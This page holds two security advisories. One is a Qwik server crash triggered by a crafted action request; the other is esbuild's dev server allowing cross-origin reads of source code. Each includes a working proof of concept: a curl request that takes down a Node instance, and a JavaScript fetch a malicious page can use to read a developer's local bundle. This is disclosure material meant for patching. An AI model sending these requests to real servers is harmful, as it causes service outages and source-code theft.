Version Details and Security Vulnerabilities

Summary

Possibility to craft a request that will crash the Qwik Server in the default configuration.

Details

When a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit.

PoC

1. Setup a Qwik Project pnpm create qwik@latest
2. Start the Qwik Server using pnpm run preview
3. Execute the following curl command to crash the instance

curl --location 'http://localhost:4173/?qfunc=PPXYallGsCE' \
--header 'Content-Type: application/qwik-json' \
--header 'X-Qrl: PPXYallGsCE' \
--data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}'

Here the qfunc query parameter, X-Qrl header and payload need to have the same qrl.

The Qwik Server will then crash with the message

qrl s_PPXYallGsCE failed to load Error: Dynamic require of "_.js" is not supported
    at file:///home/michele/Code/qwik/server/entry.preview.js:32:199
    at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)
    at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)
    at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)
    at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311
    at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)
    at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
    at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)
    at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)
node:internal/process/promises:289
            triggerUncaughtException(err, true /* fromPromise */);
            ^

Error: Dynamic require of "_.js" is not supported
    at file:///home/michele/Code/qwik/server/entry.preview.js:32:199
    at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)
    at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)
    at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)
    at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311
    at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)
    at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
    at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)
    at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)

Node.js v21.7.2

The same can also be repeated running Qwik in production using express.

1. Setup a Qwik Project pnpm create qwik@latest
2. Install the express middleware pnpm run qwik add express
3. Build the qwik app using pnpm run build
4. Start the server using pnpm run serve
5. Execute the following curl command to crash the instance

curl --location 'http://localhost:3000/?qfunc=PPXYallGsCE' \
--header 'Content-Type: application/qwik-json' \
--header 'X-Qrl: PPXYallGsCE' \
--data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}'

Impact

Any Qwik Server instance running the default configuration can be crashed. Using a simple loop to send this HTTP request will cause permanent down time of the service as it takes a few seconds for an instance to restart.

There is also the issue that this can happen without a malicious attacker. When a Qwik Application is deployed through a CDN and an old instance is still loaded on some Client, like through an inactive Tab. Once that user returns to the old Version and performs an action that runs a removed qfunc the server will crash.

Summary

esbuild allows any websites to send any request to the development server and read the response due to default CORS settings.

Details

esbuild sets Access-Control-Allow-Origin: * header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response.

https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121 https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363

Attack scenario:

1. The attacker serves a malicious web page (http://malicious.example.com).
2. The user accesses the malicious web page.
3. The attacker sends a fetch('http://127.0.0.1:8000/main.js') request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.
4. The attacker gets the content of http://127.0.0.1:8000/main.js.

In this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by

• Fetching /index.html: normally you have a script tag here
• Fetching /assets: it's common to have a assets directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files
• Connecting /esbuild SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (new EventSource('/esbuild').addEventListener('change', e => console.log(e.type, e.data)))
• Fetching URLs in the known file: once the attacker knows one file, the attacker can know the URLs imported from that file

The scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file.

PoC

1. Download reproduction.zip
2. Extract it and move to that directory
3. Run npm i
4. Run npm run watch
5. Run fetch('http://127.0.0.1:8000/app.js').then(r => r.text()).then(content => console.log(content)) in a different website's dev tools.

Impact

Users using the serve feature may get the source code stolen by malicious websites.